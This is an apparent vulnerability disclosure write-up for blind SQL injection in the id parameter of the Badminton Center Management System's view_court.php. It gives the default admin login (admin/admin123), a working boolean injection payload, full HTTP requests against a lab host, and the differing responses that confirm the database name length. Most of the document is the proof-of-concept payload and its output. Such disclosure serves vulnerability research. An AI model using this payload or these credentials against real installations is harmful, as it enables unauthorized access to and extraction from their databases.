

main

...

bug\_report / vendors / oretnom23 / badminton-center-management-system / SQLi-13.md



debug601 Create SQLi-13.md

History

1 contributor

36 lines (24 sloc) | 1.49 KB

...

# Badminton Center Management System v1.0 by oretnom23 has SQL injection

The password for the backend login account is: admin/admin123

vendors: <https://www.sourcecodester.com/php/15318/badminton-center-management-system-phpoop-free-source-code.html>

Current database name: bcms\_db,length is 7

Vulnerability File: /bcms/admin/courts/view\_court.php?id=

Vulnerability location: /bcms/admin/courts/view\_court.php?id=id

[+] Payload: /bcms/admin/courts/view\_court.php?

id=1%27%20and%20length(database())%20=7--+ // Leak place ---> id

```
GET /bcms/admin/courts/view_court.php?id=1%27%20and%20length(database())%20=7--+ HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
```

Cookie: PHPSESSID=qq2e8htekg3g2rkgtbq38p0jnv

Connection: close

When length (database ()) = 6, Content-Length: 851

GET /bcms/admin/courts/view\_court.php?id=1%27%20and%20length(database())%20=6--+ HTTP/1.1  
Host: 192.168.1.19  
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8  
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate  
DNT: 1  
Cookie: PHPSESSID=qq2e8htekg3g2rkgtbq38p0jnv  
Connection: close

HTTP/1.1 200 OK  
Date: Fri, 27 May 2022 02:47:20 GMT  
Server: Apache/2.4.48 (win64) OpenSSL/1.1.1k PHP/8.0.7  
X-Powered-By: PHP/8.0.7  
Expires: Thu, 19 Nov 1981 08:52:00 GMT  
Cache-Control: no-store, no-cache, must-revalidate  
Pragma: no-cache  
Access-Control-Allow-Origin: \*  
Content-Length: 851  
Connection: close  
Content-Type: text/html; charset=UTF-8

<style>  
#uni\_modal .modal-footer{  
display:none;

Name  
Rate per Hour  
Status

**Warning:** Undefined variable \$status in C:\xampp\htdocs\bcms\admin\courts\view\_court.php on line 26  
Inactive


Close


When length (database ()) = 7, Content-Length: 729


GET /bcms/admin/courts/view\_court.php?id=1%27%20and%20length(database())%20=7--+ HTTP/1.1  
Host: 192.168.1.19  
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8  
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate  
DNT: 1  
Cookie: PHPSESSID=qq2e8htekg3g2rkgtbq38p0jnv  
Connection: close

HTTP/1.1 200 OK  
Date: Fri, 27 May 2022 02:46:29 GMT  
Server: Apache/2.4.48 (win64) OpenSSL/1.1.1k PHP/8.0.7  
X-Powered-By: PHP/8.0.7  
Expires: Thu, 19 Nov 1981 08:52:00 GMT  
Cache-Control: no-store, no-cache, must-revalidate  
Pragma: no-cache  
Access-Control-Allow-Origin: \*  
Content-Length: 729  
Connection: close  
Content-Type: text/html; charset=UTF-8

<style>  
#uni\_modal .modal-footer{  
display:none;

 Load URL



 Split URL



 Execute



192.168.1.19/bcms/admin/courts/view\_court.php?id=1' and length(database()) =7--+

☐ Post data

☐ Referrer

 0xHEX 

 %URL 

 BASE64 

Insert s

Name

Court 1

Rate per Hour

200.00

Status

Active

Close